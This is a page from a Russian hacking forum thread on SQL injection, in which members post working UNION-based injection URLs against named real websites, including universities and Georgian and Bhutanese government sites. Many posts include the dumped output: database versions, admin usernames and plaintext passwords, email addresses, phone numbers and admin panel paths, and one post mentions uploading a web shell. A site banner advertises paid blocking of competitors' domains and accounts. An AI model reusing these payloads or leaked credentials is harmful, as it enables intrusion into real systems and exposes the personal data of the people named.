SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 605 из 1602

605

Опции темы

Поиск в этой теме

Опции просмотра

02.08.2008, 17:54

Nightmarе

Познавший АНТИЧАТ

Регистрация: 29.04.2007

Сообщений: 1,189

С нами: 10018169

Репутация: 1680

http://www.lv
PR 6 Яндекс тИЦ 60
Судя по всему, какой-то латвийский каталог

Код:

http://www.lv/list.php?id=-1+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),user(),0x3a,database()))),4,5,6/*

version() - 4.1.15-Debian_1ubuntu5-log
user() - welcome@92.240.65.129
database() - t_welcome
Раскрытие пути - /home/welcome/public_html/list.php

𝕏 Twitter Reddit Telegram Копировать ссылку

01.08.2008, 00:30

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

ItLab.unn.ru - PR 5
Нижегородский государственный университет им.Н.И.Лобачевского.
ЛАБОРАТОРИЯ ИНФОРМАЦИОННЫЕ ТЕХНОЛОГИИ .
Факультет вычислительной математики и кибернетики.

Цитата:

http://itlab.unn.ru/?dir=999999+union+select+1,2,table_name+from+infor mation_schema.tables/*

5 ветка и таблы..

Цитата:

http://itlab.unn.ru/?dir=9999999999+union+select+1,2,unhex(hex(concat_ ws(0x3a,id,login,passwd,email)))+from+us_users/*

админка

Цитата:

http://itlab.unn.ru/?dir=9999999999+union+select+1,2,unhex(hex(concat_ ws(0x3a,id,login,passwd,email)))+from+compiler.us_ users/*

юзеры из другой базы..

Цитата:

http://itlab.unn.ru/?dir=9999999999+union+select+1,2,unhex(hex(concat_ ws(0x3a,id,login,passwd,email)))+from+telma.us_use rs+limit+7,1/*

другие юзеры..

Software.unn.ac.ru

Цитата:

http://www.software.unn.ac.ru/?dir=99999999+union+select+1,2,concat_ws(0x3a,logi n,passwd)+from+mo_evm.us_users/*

software.unn.ac.ru/manager/

также сдесь: Unn.ru - PR 6

Цитата:

http://unn.ru/graduates/?main=graduates&sub=registration

при регистрации можно залить шелл... токо исполнение не полное.. можно чтот придумать..

Последний раз редактировалось sabe; 01.08.2008 в 00:55..

01.08.2008, 02:47

MirA

Новичок

Регистрация: 24.07.2008

Сообщений: 29

С нами: 9367310

Репутация: 52

www.effective.net.ua

Яндекс тИЦ - 30

version() = 4.0.27-log
database() = effectiv_effe
user() = effectiv_effe@localhost

Цитата:

http://www.effective.net.ua/lots.php?t=4&t2=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,concat_ws( char(32,58,32),version(),user(),database()),30,31, 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48 ,49,50+from+users/*

http://m2.com.ua

3 ветка

Цитата:

http://m2.com.ua/article_list.php?id=77+and+3=substring(version(),1 ,1)/*&PHPSESSID=959d18e46fbe55006f5cb3c40f4e6f25

http://www.kiis.com.ua

version() = 5.0.37-log
user() = kiis@sleipnir.carrier.kiev.ua
database() = kiis

Цитата:

http://www.kiis.com.ua/?id=2&sp=1+union+select+1,2,3,4,concat_ws(char(32, 58,32),version(),user(),database()),6,7,8,9/*

Последний раз редактировалось MirA; 01.08.2008 в 04:25..

01.08.2008, 08:22

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Teatrdoc.ru - PR 5
Театр.DOC

Цитата:

http://www.teatrdoc.ru/plays.php?id=-1+union+select+1,2,version(),4,5/*

Novochgrad.ru - PR 3
Новочеркасск. Администрация Города.

Цитата:

http://www.novochgrad.ru/adm.php?id=-28+union+select+1,version(),3/*

Последний раз редактировалось sabe; 01.08.2008 в 08:31..

01.08.2008, 12:24

Snap

Познающий

Регистрация: 05.02.2007

Сообщений: 71

С нами: 10137645

Репутация: 82

www.naec.ge
Examination Center provides Georgian

http://www.naec.ge/more.php?t=links.php&f=20&su=semassessmentland&rig _no=1&id=-86'+union+select+1,2,3,4,5,6,7,8,concat(username,c har(58),passwd),10,11+from+user+limit+0,1/*&lang=eng
xarebava:naecge

Login: xarebava
Pass: naecge

01.08.2008, 12:42

Snap

Познающий

Регистрация: 05.02.2007

Сообщений: 71

С нами: 10137645

Репутация: 82

http://www.mes.gov.ge/
Ministry of education and science of Georgia

http://www.mes.gov.ge/index.php?module=calendar&month=07&year=2008&searc h_day=-14'+union+select+1,2,3,id,user,pass,7+from+gov_pas sword/*
http://www.mes.gov.ge/index.php?module=calendar&month=07&year=2008&searc h_day=-14'+union+select+1,2,3,concat(table_name,char(58), column_name,char(58),table_schema),5,6,7+from+info rmation_schema.columns/*

Login:mesarion
Pass: yvancha

01.08.2008, 17:57

Buddah

Новичок

Регистрация: 26.11.2007

Сообщений: 6

С нами: 9715161

Репутация: 5

Код:

http://www.sonybmgmusic.co.uk/artists/annie_lennox/-1/order+by+2/*

нашел сайт очень интересный)) у самого опыта мало, может кому тоже интересно будет

01.08.2008, 18:46

Dr.Frank

Постоянный

Регистрация: 31.07.2002

Сообщений: 312

С нами: 12513535

Репутация: 187

dit.gov.bt - Pr5

Код:

http://www.dit.gov.bt/newsdetail.php?newsId=-44+union+select+11,22,concat(0x2020202020202020202020,user,0x3a,password),44+from+mysql.user--

01.08.2008, 19:16

ILYAtirtir

Участник форума

Регистрация: 25.04.2007

Сообщений: 176

С нами: 10024314

Репутация: 739

Код:

http://vehaauto.ru/catalog.php?id_article=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11/*&id_page=1

4.0.27-max-log

Код:

http://www.cccp.de/humor/showitem.php?id=4+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5/*

4.0.15:web2@localhost:usr_web2_1

Код:

http://www.generalsemantics.org/inner.php?page=news&id=999999+union+select+1,2,version(),4/*

5.0.22

Код:

http://www.generalsemantics.org/inner.php?page=news&id=-9+union+select+1,2,3,table_name+from+information_schema.tables/*

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
tbl_adminusers
tbl_featured_products
tbl_mainpages
tbl_masterpages
tbl_news
tbl_quotes
tbl_subpages

Код:

http://www.generalsemantics.org/inner.php?page=news&id=-9+union+select+1,2,3,concat_ws(0x3a,UserName,LoginName,PassWord,email,phoneNo)+from+tbl_adminusers/*

Lance Strate:lstrate:heroes:lstrate@time-binding.org:201-921-4745
Marty Levinson:Marty:Fairytales:igs@timebinding.org:718-793-6621
nmtucson:nmtucson:justme:millerstwo@comcast.net:520-225-0476
Jennifer Clarke:jennifer:56375637:igs@time-binding.org:817-922-9950

Login Page http://www.generalsemantics.org/admin/login.php

Код:

http://www.schtormovik.ru/podr.php?id=9999999999+union+select+1,2,concat_ws(0x3a,version(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23

5.0.51a:admin@localhost

Код:

http://www.schtormovik.ru/podr.php?id=9999999999+union+select+1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables+limit+19,1

table_name=aut

Код:

http://www.schtormovik.ru/podr.php?id=9999999999+union+select+1,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.columns+where+table_name=0x617574+limit+1,1

columns_name=log,pass

Код:

http://www.schtormovik.ru/podr.php?id=9999999999+union+select+1,2,concat_ws(0x3a,log,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+aut+limit+0,1

lisa:lisa
dima:dima

Последний раз редактировалось ILYAtirtir; 01.08.2008 в 19:20..

#10

01.08.2008, 19:29

Buddah

Новичок

Регистрация: 26.11.2007

Сообщений: 6

С нами: 9715161

Репутация: 5

база юзеров:

username

Код:

http://www.venskydom.ru/index.php?id=-1+union+select+null,null,null,username,null,null,null,null,null,null,null,null,null,null+from+users+where+1=1/*

password

Код:

http://www.venskydom.ru/index.php?id=-1+union+select+null,null,null,password,null,null,null,null,null,null,null,null,null,null+from+users+where+1=1/*

мыла

Код:

http://www.venskydom.ru/index.php?id=-1+union+select+null,null,null,email,null,null,null,null,null,null,null,null,null,null+from+users+where+1=1/*

таблицы

Код:

http://www.venskydom.ru/index.php?id=-1+union+select+null,null,null,column_name,null,null,null,null,null,null,null,null,null,null+from+information_schema.columns/*

подскажите как в данном слуаче найти вдминку? также не получилось узнать version() и database()
---------------
сорри тупанул
version() - 5.0.32-Debian_7etch5-log
database() - borodinmokaru

админку все еще не нашел

Последний раз редактировалось Buddah; 01.08.2008 в 19:44..